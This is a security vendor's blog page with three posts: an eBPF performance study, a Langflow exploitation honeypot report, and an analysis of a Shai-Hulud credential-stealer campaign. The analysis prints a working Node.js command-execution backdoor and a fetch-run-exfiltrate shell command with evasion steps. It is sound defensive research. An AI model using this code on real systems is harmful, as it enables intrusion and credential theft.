Bitbison Blog

Squeezing Performance out of eBPF

2026-08-30T00:00:00Z

First, why does eBPF exist? A core motivation is that writing kernel code is hard. It has to integrate well with the millions of lines of complex existing code. This is made all the more difficult by kernel-specific challenges: interrupts that complicate blocking, access to user-level memory referenced from potentially malicious user pointers, and a complicated memory model that enables the magic of RCU. Most importantly, the stakes are high. A fault in kernel code takes down all processes executing on the system.

Just as managed language environments (e.g. Java, C#) use language VMs that provide an execution environment that abstracts away many of the complexities of the underlying system, the Linux kernel supports eBPF as a VM-of-sorts. eBPF code executes in the kernel in a sandbox to prevent many errors, and ensure that the rest can't bring down the system. The sandbox enables only limited access to kernel structures and core APIs, and will only load code it can verify has specific properties.

This article focuses on the performance of the core eBPF APIs and operations. These often define what is possible when using eBPF. eBPF "democratizes kernel code", and has a huge number of uses that go beyond the original BPF's packet filters:

It is a powerful scope into what's happening in your system, given everything from flame graphs to event counts.
It provides the foundation for container and Kubernetes networking.
It is used to enforce security policies in the kernel through BPF LSM hooks (the older seccomp filters still use classic BPF).
It has been shown to scale up to even a full in-memory database!
Finally, eBPF is a core technology for modern security products that need to exactly understand what the kernel is doing.

The eBPF Execution Model

How does an eBPF program execute? The eBPF execution model includes:

eBPF is an instruction set (standardized as RFC 9669) with backends in both LLVM and GCC, so languages such as C and Rust can compile to eBPF. This enables writing eBPF programs in familiar languages. Complicated issues like supporting multiple kernel versions (with potentially different structure layouts) are taken care of by CO-RE relocations driven by BTF.
eBPF programs hook onto existing kernel functions, and execute directly in the kernel. This means that eBPF programs can execute during a vast number of kernel events. It does so while completely avoiding hardware mode switches (i.e. system calls).
Read-only access to the kernel image including all of the kernel data-structures, which means that eBPF can be used to massively increase observability of the kernel. For example, eBPF programs can parse data-structures like struct task_structs to understand and report thread-specific data.
eBPF programs can modify only a very limited set of data through explicit helper functions. While there's a long list of these helpers, most eBPF programs fundamentally rely on maps and ringbufs. Maps are hashtables with the traditional lookup from key to value, update, etc... Ring buffers enable the allocation of chunks of memory in the ring buffer. Both of these abstractions have user-level libraries that can perform comparable operations on the maps, and read data out of the ring buffer.
eBPF programs are executed safely, despite being run in the kernel, as they must pass a restrictive verification step before being installed. While the verifier has changed quite a bit over time, it always ensures that the program only modifies its own register values, and values exposed from eBPF data-structures. You can think of the verifier as providing the rough equivalent of bounds-checking for the data provided by the helper APIs. ^[1]

eBPF Performance

We care deeply about eBPF performance as it places a bound on how much of an impact eBPF programs can have on the system. Anyone who has to extend the kernel to better understand its execution properties has to balance various options, including eBPF. In our case, we want to track all causal relationships between system abstractions including processes, files, and network connections, so we care deeply about the performance impact of that tracking.

We designed our use of eBPF around its performance properties. We expect that the performance of key operations is interesting to anyone considering the use of optimized eBPF. We investigated these questions:

How much overhead does hooking have? If hooking is expensive, then everything is!
How much overhead does establishing timestamps have? When observing kernel execution, many eBPF programs leverage timestamps to order operations.
When accessing data-structures in the kernel from eBPF, how much overhead can we expect?
What are the overheads of the map APIs for various types of eBPF maps? Since maps are the foundational means to persist state across eBPF programs, we have to know their impact.
What are the overheads of ring operations in various scenarios? Rings are pervasively used to pass observations up from the kernel to user-level, so their performance is important.

For all of the above, we want to understand not just their straight-line performance on a single core, but also how their performance scales with increasing numbers of cores. This may not be obvious, but many of these mechanisms require shared state -- thus locks, RCU, and, in some cases, Inter-Processor Interrupts (IPIs). As such, performance with these complexities changes with increasing cores.

Hooking, syscalls, and time

What is a hook, and how is it implemented? Let's assume that we want to add an eBPF program that is called whenever the getpgid function is invoked. For simplicity, I'll assume an x86-64 kernel built with the function tracer (CONFIG_FUNCTION_TRACER, which compiles with gcc's -mfentry).

:
  0:  0f 1f 44 00 00         nopl  0x0(%rax,%rax,1)   ; noop does nothing
  5:  55                     push  %rbp
  6:  48 89 e5               mov   %rsp,%rbp
  9:  41 54                  push  %r12
  ...

The normal, unhooked function has a noop at its head that does nothing. And after hooking:

:
  0:  e8 *_tramp_addr        call trampoline
  5:  55                     push  %rbp
  6:  48 89 e5               mov   %rsp,%rbp
  9:  41 54                  push  %r12
  ...

:
  ; push arguments onto stack
  call  ebpf_hook                     ; call the ebpf program!
  ; pop args off stack
  ret                                 ; return back to do_getpgid

These core facilities in the kernel for hooking on kernel functions impose unavoidable overhead. For a minimal overhead system call (getpgid, a trivial PID lookup with no vDSO fast-path or user-level caching to get in the way), what overhead can we expect?

This shows the median and 99th percentile overhead for

a normal, fast getpgid Linux system call,
hooks using tracepoint, raw tracepoint, kprobe, or fentry mechanisms, and
fentry plus taking a couple of timestamps.

Tracepoints, raw tracepoints, kprobes, and fentry are four different hooking mechanisms provided by the kernel. Tracepoints are statically defined in kernel code, and are stable across kernel versions. They are at pre-defined locations (e.g. each system call) -- see your system's tracepoints in /sys/kernel/tracing/available_events. They define the structure of the arguments passed to the hook, which requires the kernel to marshal the arguments into that format before presenting them to the hook. For example, the arguments for getpgid are spelled out in /sys/kernel/debug/tracing/events/syscalls/sys_enter_getpgid/format.

An example of what a tracepoint program looks like:

struct getpgid_args {
	uint64_t common_args[2];
	pid_t pid;
};

/* hook onto the entry point in the getpgid syscall */
SEC("tp/syscalls/sys_enter_getpgid")
int sys_enter_getpgid_tp(struct getpgid_args *ctx)
{
	bpf_printk("pid argument %d", (unsigned int)ctx->pid);

	return 0;
}

kprobes can hook onto any function, including system calls! Their context is just the saved registers (struct pt_regs) -- no function-specific types at all.

/* hook onto the first instruction of the syscall implementation */
SEC("kprobe/__x64_sys_getpgid")
int BPF_KPROBE(getpgid_kprobe, struct pt_regs *regs)
{
	/* expands to bpf_probe_read_kernel(..., &regs->di) */
	pid_t pid = (pid_t)PT_REGS_PARM1_CORE_SYSCALL(regs);

	bpf_printk("pid argument %d", pid);

	return 0;
}

Remember in the assembly when the trampoline had to push registers onto the stack? Here we see the cost of not knowing the type of the function being hooked: we're pushing an entire set of registers (pt_regs)! This is not free.

The comparable fentry program does better: BTF describes the signature of every function the kernel exposes for tracing, so if we hook do_getpgid, only the pid argument is pushed onto the stack in the trampoline. Types are powerful!

/* hook onto the function the syscall wrapper calls */
SEC("fentry/do_getpgid")
int BPF_PROG(getpgid_fentry, pid_t pid)
{
	bpf_printk("pid argument %d", pid);

	return 0;
}

This avoids the generic pt_regs and associated casts. Similar to how DWARF can understand your C program's types, BTF enables the verifier and JIT compiler to understand the function's type signature and type layouts. This is not just convenience. For fentry, only the function's types need be available, whereas the other approaches require serializing the entire pt_regs onto the stack!

I simplify the above description of kprobes. Previously, they didn't require the compiler-inserted noops at function heads and instead inserted int3 instructions that caused full hardware exceptions on each hook (these are still used in uprobes). These are so slow that I didn't include them.

	Kernel version availability	Efficient argument access	Efficient hooking
`kprobes` (`int3` trap)	4.1	✘	✘
`kprobes` (ftrace site or optprobe)	4.1	✘	✔
Tracepoints	4.7	✘	✔
Raw tracepoints	4.17	✔	✔
`fentry`	5.5 (x86-64), 6.0 (arm64)	✔	✔

We can see that the kernel version availability is really one of the key trade-offs here.

The last column in the graph inserts a pair of bpf_ktime_get_ns calls that enable us to keep time. It might be surprising that the cost of these timekeeping operations is so significant, 60ns in this case. The cost of the rdtsc instruction on most x86 architectures is around 30 cycles, and the serializing variant (rdtscp) is even more. The cost of a multiplication and shift to convert cycles to nanoseconds explains the remaining costs. Even tracking the CPU's notion of time isn't free!

Design guidance

Use fentry where available. These results give pretty strong guidance to use fentry where possible, and to avoid taking redundant time measurements where possible.
Hooks are fast! The results indicate that for anything other than the most frequently invoked hooks, the overhead is negligible.
Time isn't free. While not a huge expense, simply getting the current time is not free. Save and reuse time readings where possible.

Reading kernel structures in eBPF programs

eBPF's observability superpower is walking kernel data-structures, and there are two mechanisms for it. The portable workhorse is BPF_CORE_READ:

ino = BPF_CORE_READ(task, mm, exe_file, f_inode, i_ino);

This looks like a single operation, but it expands into a helper call per pointer hop (with each field offset CO-RE-relocated to the running kernel):

struct mm_struct *mm;
struct file *ef;
struct inode *in;
unsigned long ino;

bpf_probe_read_kernel(&mm,  sizeof(mm),  &task->mm);
bpf_probe_read_kernel(&ef,  sizeof(ef),  &mm->exe_file);
bpf_probe_read_kernel(&in,  sizeof(in),  &ef->f_inode);
bpf_probe_read_kernel(&ino, sizeof(ino), &in->i_ino);

Each bpf_probe_read_kernel is a real function call into the kernel that range-checks the address and performs a fault-guarded copy through the stack. The alternative, in BTF-aware program types (fentry and friends) where pointers carry their types, is the "direct memory dereference":

ino = task->mm->exe_file->f_inode->i_ino;

The same CO-RE relocations (guided by BTF) are present, but each hop compiles to a single load instruction. The JIT registers that load in an exception table so a faulting read yields NULL. The safety is identical -- but the guard is free on the (overwhelmingly common) non-faulting path, rather than paid in call overhead on every hop.

In both forms, a bad read doesn't fault the program -- it silently yields NULL. Behind the scenes, the kernel is doing two things to make this work.

An explicit address-range check rejects user-space/NULL addresses up front (at the cost of a branch). Since 6.9 the verifier inserts this check as extra BPF instructions; before that, the JIT emitted it. This prevents the worst outcomes of silently accessing user memory.
If the accesses are made within the kernel-range of addresses that fault, the page-fault handler recovers the access (in a manner similar to how copy_from_user works).

The measurement is the same 4-hop walk above executed 64 times, as its own program per mechanism. Dividing the medians by the 64 walks: one task->mm->exe_file->f_inode->i_ino walk costs roughly 16ns via BPF_CORE_READ (~4ns per hop, each hop a helper call) versus roughly 1.3ns dereferenced directly -- a ~12x gap, all of it per-hop call overhead. The program-size gap (4 call sites vs. 4 loads per walk) also feeds the verifier's complexity budget.

A challenge with the BTF-guided direct memory dereferences is that the verifier must understand the type at each step in the dereference chain. The verifier tracks types for its abstract registers and for full, aligned 8-byte spills of them to the stack; a typed pointer that goes anywhere else (a partial or misaligned spill, or a store into map memory) comes back as an untyped scalar and cannot be used for further direct dereferences. More about this when we discuss verification in a future article.

Design guidance

Dereference directly where the program type allows it. In fentry/tracing programs on BTF-typed pointers, chain walks cost a branch and a load whereas BPF_CORE_READ additionally costs a call. When BTF is available, leverage its benefits!

eBPF maps

While maps are a simple data-structure, they are pervasive in eBPF and can enable some pretty complex use-cases. They've even been used to implement an in-memory database. They come in multiple flavors:

hashmaps -- maps from keys to values,
arrays -- maps from integers to values,
per-CPU arrays -- arrays with separate per-core visibility, and
many more.

Each of these bars represents the overhead of performing a single operation in a hook on the system call. Each of these bars has a "+x" value above the bar, which is the nanosecond overhead over the unhooked, normal system call. Looking at the top set of bars ("1 core") we can see that all operations are relatively cheap, with the potential exception of upserts (i.e. updating a value in the data-structure with bpf_map_update_elem).

The bottom set of bars is the same measurements, but with the workload split across 9 cores. This means that any operations that require synchronization for parallel operations will increase in cost. We see that here! While most operations are roughly on par with the single core costs, we can see that the upsert overhead blew up! Let's look at that a little more.

This shows a more granular approach to understanding scalability, where we can see the evolution of the cost as we increase cores. We haven't seen the result yet, but this also shows eager ring activation. Both of these results show that if we care about performance on multicore systems, paying attention only to straightline costs on a single core is insufficient.

These results should be a little surprising. Not necessarily that the upserts increase in cost, but that the other results don't! If you've ever used a concurrent hashtable (e.g. a DashMap in Rust), you might know that they scale well, but that they do increase in cost when going over a single core. They often stripe the hash-space across multiple locks, which implies additional locking overhead -- at least atomic instructions. eBPF maps leverage the kernel's support for RCU to avoid this on the lookup-side fastpaths. Very impressive!

The figures also include task-local storage (BPF_MAP_TYPE_TASK_STORAGE). Rather than a table keyed by thread id, the value hangs directly off the thread's task_struct: bpf_task_storage_get on the current task chases a couple of pointers instead of hashing a key, making it a natural home for per-thread state carried across hooks. Structurally it is the per-thread analogue of the per-CPU array -- state private to the executing context -- and the in-program stopwatch (two bpf_ktime_get_ns calls around the operation) agrees: ~13ns per lookup versus ~10ns for the per-CPU array (a pointer chase and map-match check versus per-cpu address arithmetic), with both flat from 1 to 9 cores. The figure above measures the whole system call, though, and there task storage costs more than the stopwatch suggests: 274ns rising to 340ns at 9 cores, against a flat 265ns for the per-CPU array, so part of its cost lands outside the operation itself. The first use of task storage also has a spike when the value is associated with the task.

Design guidance

Upserts are expensive. Avoiding upserts where possible is necessary to maintain high performance, especially with increasing numbers of cores. Luckily this can be done by leveraging lookups, and directly updating the values. This gets complicated quickly, though: multiple cores might be accessing the value at the same time, so all such updates must carefully synchronize not only with other updates, but also with parallel accesses. Practically, this means that our core global hash-tables avoid upserts, and employ non-blocking algorithms for updates^[2].
Use arrays where possible. While we use arrays to save ~7ns per lookup over hash maps where possible, the good news is that the eBPF maps of all varieties are quite fast for lookups.

eBPF rings

A core requirement for most eBPF applications is that the eBPF code in the kernel can pass its processed and filtered observations about the kernel to user-level for further processing. This capability is integral to most security applications that wish to understand the details of system execution. Bounded ring buffers provide the core of this functionality.

Within the kernel, the core operation is to enqueue data into the ring. This enqueue operation is typically through the pair of bpf_ringbuf_reserve and bpf_ringbuf_submit. The ring buffer is protected with a lock in the kernel (to synchronize for parallel reservations), so we'd expect to see increasing costs for this operation as we increase in core-count. Indeed, we see the measurements for 1 core being drastically less than for 9 cores, and most of this overhead is lock contention, and cache-line bouncing.

When submitting the data into the ring, the flags argument carries an indicator for whether the event associated with the data should be delivered to the user-level thread eagerly (immediately), should be delayed till a future call, or some intelligent combination of both, the default behavior. This simple flag has large implications on performance. To understand why, we have to dive into how Linux handles cross-core notifications. If the user-level thread awaiting ring data is executing on another core, an event must wake it up. But it isn't straightforward to implement that. What if another thread is currently running on that core? What if the thread we're sending the event to is currently being updated by the scheduler on that core?

So this cross-core event notification can be quite expensive: requiring taking locks (e.g. to add the thread to the remote core's runqueue), and sending Inter-Processor Interrupts (IPIs). The latter is more expensive than I'd wish: sending IPIs is a synchronous operation on LAPIC hardware, and receiving the IPI on the target event's core is a heavyweight interrupt. These costs are visible in the default and eager bars, but they land in different places. The default policy only sends a wakeup when the consumer has already drained everything ahead of the new record, so its median stays within ~15% of delayed at both 1 and 9 cores while its 99th percentile is 4.5x delayed on a single core. Eager pays the wakeup on every submit, so its median jumps too (4.8x delayed on a single core). So we should all use delayed events, right?

No. The overhead of publishing the events is one factor, but another important factor is how long it takes to deliver the event to the user-level process that consumes the data from the ring buffer. Note that the overheads for these operations are in microseconds instead of nanoseconds. The intuition is that if we eagerly push data to the ring in the eBPF program, we should see it faster than if we delay pushing^[3].

These results show that the trade-off is really between tail enqueue cost and delivery latency; on the median, the default policy already sits at a good point.

	Minimal median overhead?	Minimal tail (p99) overhead?	Reasonable event delivery latency?
Delayed	✔	✔	✘
Default	✔ (within ~15%)	✘	✔
Eager	✘	✘	✔

Design guidance

Beware of too-frequent event notifications. While the default ring policy does decently well, without requiring any bespoke logic for sending events, managing how frequently events are sent can have a significant impact on ring operation overheads, and on event delivery latencies. We design ring interactions with this in mind by explicitly rate-limiting event notifications -- an optimization that removed 20% overhead!
Ring-buffer enqueue contention. The lock overhead for using ring operations on 9 versus 1 core is also significant. We've experimented with using multiple rings to decrease this overhead, but doing so complicates causal reasoning. With this, a timeline of events is now split between multiple rings, and must be reconstructed at user-level. This is on the roadmap.

Dynamic data-structures

Maps and rings have taken eBPF pretty far, but for complex data-structures, they are challenging to compose. If we wanted to use more complex data-structures, there are two general options.

Kernel-managed data-structures: bpf_obj_new/bpf_obj_drop allocate typed, verifier-owned objects that link into kernel-provided linked lists (bpf_list) and red-black trees (bpf_rbtree). These leverage the kernel's actual data-structures, so benefit from the efficiency therein. Unfortunately, the verifier requires that each operation must be wrapped in a bpf_spin_lock.
Self-managed data-structures: arenas (BPF_MAP_TYPE_ARENA) enable dynamic page allocation/deallocation, and the full eBPF-program managed memory within those pages. As such, we can implement a memory allocator using arenas, and implement our own data-structures! Arena allocation itself is page-granularity (bpf_arena_alloc_pages); anything finer -- an object allocator, a list -- you build yourself, along with its synchronization.

The object-granularity operations all land within a few nanoseconds of each other -- tens of ns whether the kernel manages the structure or the program does -- while arena page allocation is ~60x an object operation: real arena code carves pages into an object allocator rather than calling the page allocator per object. The bottom set of bars (9 cores) shows the cost of sharing: these structures (unlike the maps above) sit behind a single bpf_spin_lock, so contended cores serialize -- the locked structures jump ~29-52x (list push+pop 18 to 515ns median, rbtree add+remove 18 to 942ns, the lock-guarded arena list 15 to 716ns). In contrast, arenas can provide synchronization in any way they choose. In these results, we use a simple per-core Treiber stack with limited retries (to make the verifier happy) to demonstrate a lock-free option, along with a shared Treiber stack to demonstrate shared data-structure overhead. ^[4] As expected, the scalability properties are strong: the shared stack's CAS-based push+pop costs 26ns median against 716ns for the lock-guarded arena list, and the per-core stack costs don't increase at all (12ns at 1 core, 11ns at 9). This mimics the kernel-native allocator costs for bpf_mem_alloc. Lock-free helps even when shared, but per-core stacks scale perfectly, as you'd expect.

Availability and hook restrictions are key trade-offs. Availability:

	Kernel version availability
`bpf_obj_new`/`drop`, `bpf_list`	6.2
`bpf_rbtree`	6.3
Arenas	6.9 (and LLVM/clang 19 to build)

The hook restrictions include:

bpf_spin_lock is rejected in kprobe, tracepoint, raw tracepoint, and perf-event programs, so the kernel-managed structures are limited to fentry/fexit, LSM, networking, and syscall-style program types, and
before 7.0, bpf_arena_alloc_pages allocation was sleepable-only, which drastically limited the hook-points available (e.g. LSM or system calls); 7.0 made the arena kfuncs safe to call from any context.

Arenas use a sparse memory region that can be shared with user-level. It is mmap-able, and pointers are valid across user-mappings and the kernel. While this likely doesn't replace rings (as they provide event notification as well), it is amazingly powerful!

Design guidance

Arena pages have all the overheads of vmalloc and buddy allocation -- cache and write your own allocator! Avoid page-allocations, instead caching allocated pages, and allocating within them yourself.
Object allocation is fast, but provided data-structures require locks. Access to lists and balanced binary trees is great, but the lock requirement requires careful design to achieve scalability.
Compatibility is a big limiting factor here. Nothing here exists before 6.2, arenas before 6.9 -- and the lock (and thus bpf_list/bpf_rbtree) is unavailable in kprobe and tracepoint programs, leaving fentry as the only tracing hook that can use them.

Compatibility and configuration flags

Last, something more mundane, but equally important: configuration management. eBPF has many useful utilities, but they are often gated behind a wide variety of kernel versions. This means that eBPF code typically must be configurable to the kernel version and environment of a specific production machine. Doing all of this at compile time (with #ifdef-hell) can be cumbersome. Luckily eBPF provides reasonable means to do this at eBPF program load time.

Using a read-only map, and configuring its contents before loading the eBPF program does something fantastic. It drives the Dead-Code Elimination (DCE) pass of the verifier to generate efficient code specific to that configuration. We can see this in the overheads. We compare against storing the configuration in an RW array map, or in a global variable (which is transparently backed by an array map). When the feature is turned "on", all approaches have comparable overhead. But when the feature is turned "off", the DCE approach achieves the lowest overhead as the code is effectively generated with no conditions! On the right, we can see that DCE also ends up shrinking the program size which massively aids in verification (see this space in the future).

Go Forth and eBPF Wisely!

While there are many additional abstractions and helper functions exposed to eBPF, these often form the core. The challenge is optimizing the actual eBPF code to be both fast and resource efficient while still passing the verifier. Put another way: eBPF is a deep, awesome rabbit hole. We're trying to wring every capability and cycle out of it at Bitbison -- we likely are among the use-cases with the highest event throughputs! Watch this space for more.

Verification does quite a bit more, but for the purposes of our discussion, I'm simplifying here. The kernel's verifier documentation has the gory details, this paper gives a formal treatment of the problem, and this one looks at verifying the functional behavior of eBPF programs themselves. ↩︎
The constraint is actually even more restrictive. These actually must be wait-free to guarantee that each eBPF program has a bounded number of execution steps! ↩︎
In the delay variant, we actually do eagerly enqueue once out of 4096 enqueue operations to ensure that we deliver the notification at some point. ↩︎
One wrinkle: with nodes recycled through push/pop cycles on every core, the textbook Treiber stack corrupts itself via ABA, and eBPF has no double-width CAS for the usual tagged-pointer fix. An arena pointer only needs 32 bits (they are limited to 4GB), so the stack head packs {tag:32, offset:32} into a single CAS-able word. ↩︎

Langflow RCE: 34 minutes to server compromise

2026-08-19T00:00:00Z

Exploit payloads observed in the wild

The table below summarizes the 328 exploit attempts observed in the wild against our Langflow fleet.

Where the attacker put the payload	Attempts	Share
Default argument, `def f(x=exec(...))`	234	71.3%
Decorator, `@exec(...)`	73	22.3%
Top-level code, malformed input or validation probes	17	5.2%
Component payload exposing environment variables	4	1.2%

Because Langflow returned command output in validation responses, 29% of attacker IPs that achieved code execution received every planted environment secret. 6 of the 15 sources that exfiltrated the planted OpenAI key retrieved it from saved flow data with a token from /api/v1/auto_login; none called /api/v1/validate/code. A successful full-data GET /api/v1/flows after /api/v1/auto_login from an untrusted source means credentials stored in the returned flow definitions were exposed and must be rotated.

Scan volume did not predict Langflow exploitation

Window	External requests/hour	Exploit attempts
Busiest window in the study	192.2	0
Second busiest	149.5	0
Quietest window in the initial round	24.9	36
Quietest window that was exploited	8.5	3

Ten attacker IPs showed response-aware or interactive behavior

Observed behavior	Attacker IPs	Share
Likely automation	15	48%
Response-aware, person or agent	9	29%
Interactive operation	1	3%
Insufficient activity to classify	6	19%

Likely automated sources repeated fixed commands without reacting to the response. One miner submitted the same invalid Python eight times despite receiving the same error. The Mirai-like campaign sent its first x86 attempt to three hosts within 81 milliseconds, then continued downloading payloads after the first attempt had already succeeded.

Response-aware sources used information returned by the hosts. In one operation, an IP ran su - with a planted password and an account name that had only been returned to a different IP 13 minutes earlier. The four IPs therefore shared reconnaissance results.

The AdaptixC2 source behaved interactively. It tested execution with 1+1, selected one of three hosts, inspected /tmp and checked permissions between failed launch attempts. These actions show active control of the session, but the command trace alone cannot determine whether that control came from a person or an agent.

What defenders should do

Upgrade Langflow to 1.10.1 or later. IBM lists no workaround for affected versions.
Treat an internet-exposed deployment running 1.0.0 through 1.10.0 with auto-login enabled as potentially compromised.
Search proxy and application logs for /api/v1/auto_login followed by /api/v1/validate/code or a successful full-data GET /api/v1/flows from an untrusted source.
Rotate credentials stored in returned flow definitions and every credential available to the Langflow service environment. Validation responses may have returned those values directly to the attacker.
Investigate deleted but running executables through process or kernel telemetry. Two payloads removed their filesystem paths after launch, and one was recoverable only through /proc.
Rebuild after containment. Rebuilding without upgrading or removing the vulnerable service restores the same exposure.

Want more? Security researchers can contact us at team@. We are happy to share additional data.

Shai-Hulud rebuilt as a standalone stealer

2026-08-11T00:00:00Z

How this Shai-Hulud variant and campaign differ

The documented Mini Shai-Hulud npm campaign ran a credential-stealing and propagation framework during package installation. The executable we recovered packages that framework as a standalone Linux post-exploitation payload and is derived from a publicly available Shai-Hulud variant.

React2Shell launches Shai-Hulud before it propagates. The operator uses React2Shell for initial remote code execution (RCE) on the Next.js server then launches the standalone variant. Shai-Hulud spreads through GitHub repositories and npm packages. A separate SSH worm moves between reachable hosts.
React2Shell installs command execution inside the Next.js server. Three in-process HTTP handlers execute arbitrary shell commands and return their output over the existing request connection. This provides an exfiltration channel without an outbound connection or new listener.
The operator installs three payload handlers together. In the same second, the exploit installs separate handlers for the standalone Shai-Hulud variant, the SSH worm and a persistence stage containing an attacker key and Global Socket tooling. The operator later invokes the handlers.
Access persists at the process, host and repository levels. The injected HTTP handlers remain until the Node.js process restarts. An attacker SSH key and Global Socket startup hooks survive host restarts. Shai-Hulud adds VS Code folder-open and Claude Code SessionStart hooks to compromised repositories.

Build artifacts identify a separate standalone target

The available evidence places the likely build date on 12-15 May 2026. The executable embeds Bun 1.3.14, publicly released on May 12th 2026. It was present on the staging host by 15 May. The npm campaign began on 11 May, so the artifact was likely produced after the campaign began.
The build contains an OpenSearch commit reference that no longer resolves. PACKAGE_NAME points to github:opensearch-project/opensearch-js#d446803f…. The commit hash does not appear in the upstream repository, its 145 forks or GitHub commit search. OpenSearch reported that the supply-chain compromise occurred at about 20:30 EDT on 11 May and marked the incident resolved on 15 May. This response window overlaps the standalone build window. We cannot determine how the reference disappeared.
Build paths identify the standalone target. All modules contain paths under ../Shai-Hulud-Standalone/src/….

The executable needs no npm, Node.js or runtime download

Bun embeds its runtime in the executable. The variant was compiled with bun build --compile. Execution does not require npm, Node.js or a separately installed Bun runtime.
A standalone polyfill limits the required source changes. The new utils/standalonePolyfill.ts file adapts the existing code to Bun's compiled target without restructuring the rest of the build.

React2Shell delivers the executable

The exploit installs command handlers inside the running Next.js process. The operator monkey-patches http.Server.prototype.emit to intercept selected HTTP request paths and passes each decoded POST body to child_process.exec.
The /nacarejv command performs the exfiltration. It downloads the standalone executable, redirects its standard output to r.txt then uses a separate curl invocation to POST the file to an attacker-controlled collector.

React2Shell installs three in-process backdoors

We instrumented a research fleet with Bitbison and exposed a genuinely vulnerable React Server Components stack to the internet as part of the scenario described in React2Shell: 8 months later. One compromise delivered the standalone Shai-Hulud executable together with the SSH worm and persistent-access tooling analyzed below.

The exploit replaces http.Server.prototype.emit while the process is running. The following excerpt shows one of the three installed handlers:

const originalEmit = http.Server.prototype.emit;
http.Server.prototype.emit = function (event, ...args) {
  if (event === 'request') {
    const [req, res] = args;
    if (url.parse(req.url, true).pathname === '/nacarejv' && req.method === 'POST') {
      // the POST body is base64-decoded into a shell command, then run
      const cmd = Buffer.from(body, 'base64').toString('utf8') || 'whoami';
      cp.exec(cmd, (err, stdout, stderr) => {
        res.writeHead(200, {'Content-Type': 'application/json',
                            'Access-Control-Allow-Origin': '*'});
        res.end(JSON.stringify({ success: !err, stdout, stderr,
                                 error: err ? err.message : null }));
      });
      return true;
    }
  }
  return originalEmit.apply(this, arguments);
};

The operator installed all three handlers in the same second. Each handler uses a different random eight-letter path. When a request matches, the wrapper passes its decoded body to cp.exec and returns without calling originalEmit.apply. The Next.js router never receives the request. The handlers remain active until the Node.js process restarts.

Path	Stage	How data returns
`/nacarejv`	Fetches the stealer, runs `./shai > r.txt`	POSTs `r.txt` to the collector; removes the executable and output file
`/cejrtyyz`	Fetches and `nohup`s an SSH worm from a withheld victim host	Spreads over SSH and installs a hidden Global Socket reverse shell; a wrapper stage beacons access details to a Discord webhook
`/obqtzxdt`	Appends an `authorized_keys` entry, runs a deploy script as `/dev/shm/.ts`	POSTs hostname, cores, load and RAM to the operator

The handlers can return command output over the existing HTTP connection without opening a new listener. The observed Shai-Hulud command instead redirected its output to r.txt then sent the file through a separate curl invocation.

The command retrieves, runs and removes the stealer

The /nacarejv handler received the following shell command. Network locations and repeated fallback arguments are redacted:

cd /dev/shm/
sudo \cp /usr/bin/curl /usr/bin/qq || true   # rename the fetcher to defeat
sudo \cp /usr/bin/wget /usr/bin/ww || true   # any rule keyed on curl or wget
( qq -sL http://<staging-host>/.../shai -o shai
  || ww -q  http://<staging-host>/.../shai -O shai
  || python3 -c "import urllib.request; urllib.request.urlretrieve(...)"
  || php -r "copy('...', 'shai' || curl ... || wget ...)" )
chmod 777 shai
./shai > r.txt
rm -f shai              # delete the tool before the output is even sent
curl -X POST http://<staging-host>/.../index.php --data-binary @r.txt || wget ... || python3 ...
rm -f r.txt &

The command first copies curl to /usr/bin/qq and wget to /usr/bin/ww. This attempts to bypass detections keyed to the original executable names or paths. The command tries four retrieval methods in order: renamed curl, renamed wget, Python and PHP. Each method runs only if the preceding method fails. After running shai with its standard output redirected to r.txt, the command deletes the executable, POSTs r.txt to the collector and deletes the output file.

The other two handlers run in parallel and carry different payloads. /cejrtyyz installs an SSH lateral-movement worm. It reads local keys and known hosts, sprays SSH across everything it can reach, copies itself onward and ends by installing a hidden Global Socket reverse shell for durable access. A wrapper stage along the way beacons the machine's user, hostname and access details to a Discord webhook. /obqtzxdt appends an attacker key to authorized_keys, runs a deploy script as /dev/shm/.ts and registers the host, its name and its specs with the same address that launched the exploit.

The three payloads belong to one campaign. The operator installed all three handlers in the same second. The registration stage reports to the same address that sent every exploit request we observed against these hosts.

The standalone variant collects credentials through local and remote services

Runs as a self-contained Linux executable without npm, Node.js or a runtime download. The data it can collect remains a function of the process's permissions, installed local tools and outbound access to the services it queries.
Prints a banner announcing discovery mode, then sweeps the filesystem for credential paths, reads shell history and the whole environment and runs gh auth token to retrieve the GitHub command-line interface (CLI) credential.
On Linux continuous integration (CI) runners the executable launches sudo python3 to read the Runner.Worker process's memory and recover secrets that GitHub masks in logs.
Validates every GitHub token it found against api.github.com/user with a bare node User-Agent.
For each token with workflow scope, queries up to 100 repositories that the token can push to and whose latest push occurred after 1 September 2025.
In each selected repository, creates a Dependabot-like branch and commits a workflow as github-advanced-security[bot]. The push causes the victim's CI runner to serialize its accessible secrets into an artifact. The binary downloads that artifact.
After retrieving the artifact, deletes the workflow run and branch. The branch and workflow no longer appear in the repository's current state. GitHub audit logs and external telemetry may retain the activity.
Runs the cloud providers: Amazon Web Services (AWS) Systems Manager (SSM) Parameter Store, Secrets Manager and Security Token Service (STS); Kubernetes secrets; HashiCorp Vault.
Prints collected data to standard output. The No exfiltration. banner describes the executable itself. The attacker-supplied shell command redirects the output to r.txt then uses a separate curl invocation to POST the file to an attacker-controlled collector.

The standalone executable collects credentials

AWS. ~/.aws credentials and config, the link-local instance metadata service, the link-local Elastic Container Service (ECS) task-credentials endpoint, SSM Parameter Store, Secrets Manager and account identity through STS. Requests use AWS Signature Version 4 (SigV4) implemented by the variant.
GitHub. The CLI's stored token, Actions secrets, organization secrets and whatever is resident in a CI runner's memory.
Kubernetes. The in-cluster service account token, KUBECONFIG and cluster secrets.
Vault. VAULT_ADDR, defaulting to the local Vault endpoint on port 8200, plus the token file and role variables.
Azure and Ansible. Access token caches, Microsoft Authentication Library (MSAL) caches and ~/.ansible.
AI assistant configuration. ~/.claude.json and ~/.claude/mcp.json. These files may contain credentials exposed to configured tools.
Wallets and messaging. Bitcoin, Electrum, Ledger Live, Signal, Slack.
Other credential stores. KDE Wallet, Remmina, OpenVPN client certificates.
History files. .bash_history, .psql_history, .python_history, .viminfo and .pypirc.
Process environment. Scans all environment variables for gh[op]_ and npm_ token patterns.

Each file is capped at 5 MB.

Stolen credentials propagate the standalone variant

GitHub tokens spread the executable through repositories. With push access it writes the compiled executable and its loaders to every branch it can update. It also installs a VS Code task configured for folder-open and a Claude Code SessionStart hook. Either hook launches the loader when a developer opens the repository.
npm tokens spread the executable through packages. For a token with package:write permission that bypasses two-factor authentication, it downloads the latest tarball for every writable package. It adds a preinstall loader and the compiled executable, increments the patch version then republishes the package.
